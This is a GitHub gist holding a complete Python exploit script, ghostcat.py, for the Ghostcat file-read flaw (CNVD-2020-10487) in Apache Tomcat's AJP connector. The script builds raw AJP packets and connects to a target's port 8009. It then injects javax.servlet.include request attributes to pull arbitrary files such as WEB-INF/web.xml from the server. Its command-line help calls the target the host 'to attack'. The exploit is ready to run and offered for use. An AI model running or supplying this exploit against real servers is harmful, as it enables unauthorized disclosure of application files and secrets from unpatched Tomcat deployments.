Last active 4 months ago

sehoon0519's Avatar sehoon0519 revised this gist 4 months ago. Go to revision

1 file changed, 303 insertions

ghostcat.py(file created)

@@ -0,0 +1,303 @@
1 + #!/usr/bin/env python
2 + #CNVD-2020-10487 Tomcat-Ajp lfi
3 + #by ydhcui
4 + import struct
5 +
6 + # Some references:
7 + # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
8 + def pack_string(s):
9 + if s is None:
10 + return struct.pack(">h", -1)
11 + l = len(s)
12 + return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
13 + def unpack(stream, fmt):
14 + size = struct.calcsize(fmt)
15 + buf = stream.read(size)
16 + return struct.unpack(fmt, buf)
17 + def unpack_string(stream):
18 + size, = unpack(stream, ">h")
19 + if size == -1: # null string
20 + return None
21 + res, = unpack(stream, "%ds" % size)
22 + stream.read(1) # \0
23 + return res
24 + class NotFoundException(Exception):
25 + pass
26 + class AjpBodyRequest(object):
27 + # server == web server, container == servlet
28 + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
29 + MAX_REQUEST_LENGTH = 8186
30 + def __init__(self, data_stream, data_len, data_direction=None):
31 + self.data_stream = data_stream
32 + self.data_len = data_len
33 + self.data_direction = data_direction
34 + def serialize(self):
35 + data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
36 + if len(data) == 0:
37 + return struct.pack(">bbH", 0x12, 0x34, 0x00)
38 + else:
39 + res = struct.pack(">H", len(data))
40 + res += data
41 + if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
42 + header = struct.pack(">bbH", 0x12, 0x34, len(res))
43 + else:
44 + header = struct.pack(">bbH", 0x41, 0x42, len(res))
45 + return header + res
46 + def send_and_receive(self, socket, stream):
47 + while True:
48 + data = self.serialize()
49 + socket.send(data)
50 + r = AjpResponse.receive(stream)
51 + while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
52 + r = AjpResponse.receive(stream)
53 +
54 + if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
55 + break
56 + class AjpForwardRequest(object):
57 + _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
58 + REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
59 + # server == web server, container == servlet
60 + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
61 + COMMON_HEADERS = ["SC_REQ_ACCEPT",
62 + "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
63 + "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
64 + "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
65 + ]
66 + ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
67 + def __init__(self, data_direction=None):
68 + self.prefix_code = 0x02
69 + self.method = None
70 + self.protocol = None
71 + self.req_uri = None
72 + self.remote_addr = None
73 + self.remote_host = None
74 + self.server_name = None
75 + self.server_port = None
76 + self.is_ssl = None
77 + self.num_headers = None
78 + self.request_headers = None
79 + self.attributes = None
80 + self.data_direction = data_direction
81 + def pack_headers(self):
82 + self.num_headers = len(self.request_headers)
83 + res = ""
84 + res = struct.pack(">h", self.num_headers)
85 + for h_name in self.request_headers:
86 + if h_name.startswith("SC_REQ"):
87 + code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
88 + res += struct.pack("BB", 0xA0, code)
89 + else:
90 + res += pack_string(h_name)
91 +
92 + res += pack_string(self.request_headers[h_name])
93 + return res
94 +
95 + def pack_attributes(self):
96 + res = b""
97 + for attr in self.attributes:
98 + a_name = attr['name']
99 + code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
100 + res += struct.pack("b", code)
101 + if a_name == "req_attribute":
102 + aa_name, a_value = attr['value']
103 + res += pack_string(aa_name)
104 + res += pack_string(a_value)
105 + else:
106 + res += pack_string(attr['value'])
107 + res += struct.pack("B", 0xFF)
108 + return res
109 + def serialize(self):
110 + res = ""
111 + res = struct.pack("bb", self.prefix_code, self.method)
112 + res += pack_string(self.protocol)
113 + res += pack_string(self.req_uri)
114 + res += pack_string(self.remote_addr)
115 + res += pack_string(self.remote_host)
116 + res += pack_string(self.server_name)
117 + res += struct.pack(">h", self.server_port)
118 + res += struct.pack("?", self.is_ssl)
119 + res += self.pack_headers()
120 + res += self.pack_attributes()
121 + if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
122 + header = struct.pack(">bbh", 0x12, 0x34, len(res))
123 + else:
124 + header = struct.pack(">bbh", 0x41, 0x42, len(res))
125 + return header + res
126 + def parse(self, raw_packet):
127 + stream = StringIO(raw_packet)
128 + self.magic1, self.magic2, data_len = unpack(stream, "bbH")
129 + self.prefix_code, self.method = unpack(stream, "bb")
130 + self.protocol = unpack_string(stream)
131 + self.req_uri = unpack_string(stream)
132 + self.remote_addr = unpack_string(stream)
133 + self.remote_host = unpack_string(stream)
134 + self.server_name = unpack_string(stream)
135 + self.server_port = unpack(stream, ">h")
136 + self.is_ssl = unpack(stream, "?")
137 + self.num_headers, = unpack(stream, ">H")
138 + self.request_headers = {}
139 + for i in range(self.num_headers):
140 + code, = unpack(stream, ">H")
141 + if code > 0xA000:
142 + h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
143 + else:
144 + h_name = unpack(stream, "%ds" % code)
145 + stream.read(1) # \0
146 + h_value = unpack_string(stream)
147 + self.request_headers[h_name] = h_value
148 + def send_and_receive(self, socket, stream, save_cookies=False):
149 + res = []
150 + i = socket.sendall(self.serialize())
151 + if self.method == AjpForwardRequest.POST:
152 + return res
153 +
154 + r = AjpResponse.receive(stream)
155 + assert r.prefix_code == AjpResponse.SEND_HEADERS
156 + res.append(r)
157 + if save_cookies and 'Set-Cookie' in r.response_headers:
158 + self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
159 +
160 + # read body chunks and end response packets
161 + while True:
162 + r = AjpResponse.receive(stream)
163 + res.append(r)
164 + if r.prefix_code == AjpResponse.END_RESPONSE:
165 + break
166 + elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
167 + continue
168 + else:
169 + raise NotImplementedError
170 + break
171 +
172 + return res
173 +
174 + class AjpResponse(object):
175 + _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
176 + COMMON_SEND_HEADERS = [
177 + "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
178 + "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
179 + ]
180 + def parse(self, stream):
181 + # read headers
182 + self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
183 +
184 + if self.prefix_code == AjpResponse.SEND_HEADERS:
185 + self.parse_send_headers(stream)
186 + elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
187 + self.parse_send_body_chunk(stream)
188 + elif self.prefix_code == AjpResponse.END_RESPONSE:
189 + self.parse_end_response(stream)
190 + elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
191 + self.parse_get_body_chunk(stream)
192 + else:
193 + raise NotImplementedError
194 +
195 + def parse_send_headers(self, stream):
196 + self.http_status_code, = unpack(stream, ">H")
197 + self.http_status_msg = unpack_string(stream)
198 + self.num_headers, = unpack(stream, ">H")
199 + self.response_headers = {}
200 + for i in range(self.num_headers):
201 + code, = unpack(stream, ">H")
202 + if code <= 0xA000: # custom header
203 + h_name, = unpack(stream, "%ds" % code)
204 + stream.read(1) # \0
205 + h_value = unpack_string(stream)
206 + else:
207 + h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
208 + h_value = unpack_string(stream)
209 + self.response_headers[h_name] = h_value
210 +
211 + def parse_send_body_chunk(self, stream):
212 + self.data_length, = unpack(stream, ">H")
213 + self.data = stream.read(self.data_length+1)
214 +
215 + def parse_end_response(self, stream):
216 + self.reuse, = unpack(stream, "b")
217 +
218 + def parse_get_body_chunk(self, stream):
219 + rlen, = unpack(stream, ">H")
220 + return rlen
221 +
222 + @staticmethod
223 + def receive(stream):
224 + r = AjpResponse()
225 + r.parse(stream)
226 + return r
227 +
228 + import socket
229 +
230 + def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
231 + fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
232 + fr.method = method
233 + fr.protocol = "HTTP/1.1"
234 + fr.req_uri = req_uri
235 + fr.remote_addr = target_host
236 + fr.remote_host = None
237 + fr.server_name = target_host
238 + fr.server_port = 80
239 + fr.request_headers = {
240 + 'SC_REQ_ACCEPT': 'text/html',
241 + 'SC_REQ_CONNECTION': 'keep-alive',
242 + 'SC_REQ_CONTENT_LENGTH': '0',
243 + 'SC_REQ_HOST': target_host,
244 + 'SC_REQ_USER_AGENT': 'Mozilla',
245 + 'Accept-Encoding': 'gzip, deflate, sdch',
246 + 'Accept-Language': 'en-US,en;q=0.5',
247 + 'Upgrade-Insecure-Requests': '1',
248 + 'Cache-Control': 'max-age=0'
249 + }
250 + fr.is_ssl = False
251 + fr.attributes = []
252 + return fr
253 +
254 + class Tomcat(object):
255 + def __init__(self, target_host, target_port):
256 + self.target_host = target_host
257 + self.target_port = target_port
258 +
259 + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260 + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
261 + self.socket.connect((target_host, target_port))
262 + self.stream = self.socket.makefile("rb", bufsize=0)
263 +
264 + def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
265 + self.req_uri = req_uri
266 + self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
267 + print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
268 + if user is not None and password is not None:
269 + self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
270 + for h in headers:
271 + self.forward_request.request_headers[h] = headers[h]
272 + for a in attributes:
273 + self.forward_request.attributes.append(a)
274 + responses = self.forward_request.send_and_receive(self.socket, self.stream)
275 + if len(responses) == 0:
276 + return None, None
277 + snd_hdrs_res = responses[0]
278 + data_res = responses[1:-1]
279 + if len(data_res) == 0:
280 + print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
281 + return snd_hdrs_res, data_res
282 +
283 + '''
284 + javax.servlet.include.request_uri
285 + javax.servlet.include.path_info
286 + javax.servlet.include.servlet_path
287 + '''
288 +
289 + import argparse
290 + parser = argparse.ArgumentParser()
291 + parser.add_argument("target", type=str, help="Hostname or IP to attack")
292 + parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
293 + parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
294 + args = parser.parse_args()
295 + t = Tomcat(args.target, args.port)
296 + _,data = t.perform_request('/asdf',attributes=[
297 + {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
298 + {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
299 + {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
300 + ])
301 + print('----------------------------')
302 + print("".join([d.data for d in data]))
303 +
Newer Older